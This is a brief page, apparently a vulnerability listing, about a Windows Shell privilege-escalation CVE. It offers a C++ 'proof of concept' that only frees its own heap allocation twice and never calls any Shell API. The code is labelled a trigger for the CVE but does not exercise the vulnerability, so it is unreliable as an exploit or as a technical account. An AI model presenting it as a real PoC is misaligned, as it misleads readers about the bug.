CVE-2026-26166 Windows Shell权限提升漏洞

/* * Conceptual Proof of Concept for CVE-2026-26166 * This code demonstrates the logic leading to a Double Free condition in Windows Shell. * Note: Actual exploitation requires specific memory layout and heap grooming. */ #include <windows.h> #include <iostream> void TriggerVulnerability() { HANDLE hHeap = GetProcessHeap(); // Allocate memory block 1 LPVOID pMem1 = HeapAlloc(hHeap, 0, 0x100); if (!pMem1) return; std::cout << "[+] Memory allocated at: " << pMem1 << std::endl; // Simulate the first free (Legitimate free in Shell) HeapFree(hHeap, 0, pMem1); std::cout << "[+] Memory freed first time." << std::endl; // ... Attacker performs operations to manipulate the heap ... // In a real scenario, this involves spraying the heap to control the freed memory. // Simulate the second free (The Vulnerability) // Triggering the bug in Windows Shell via specific API call sequence HeapFree(hHeap, 0, pMem1); std::cout << "[!] Memory freed second time (Double Free Triggered)!" << std::endl; } int main() { std::cout << "CVE-2026-26166 PoC Trigger" << std::endl; TriggerVulnerability(); return 0; }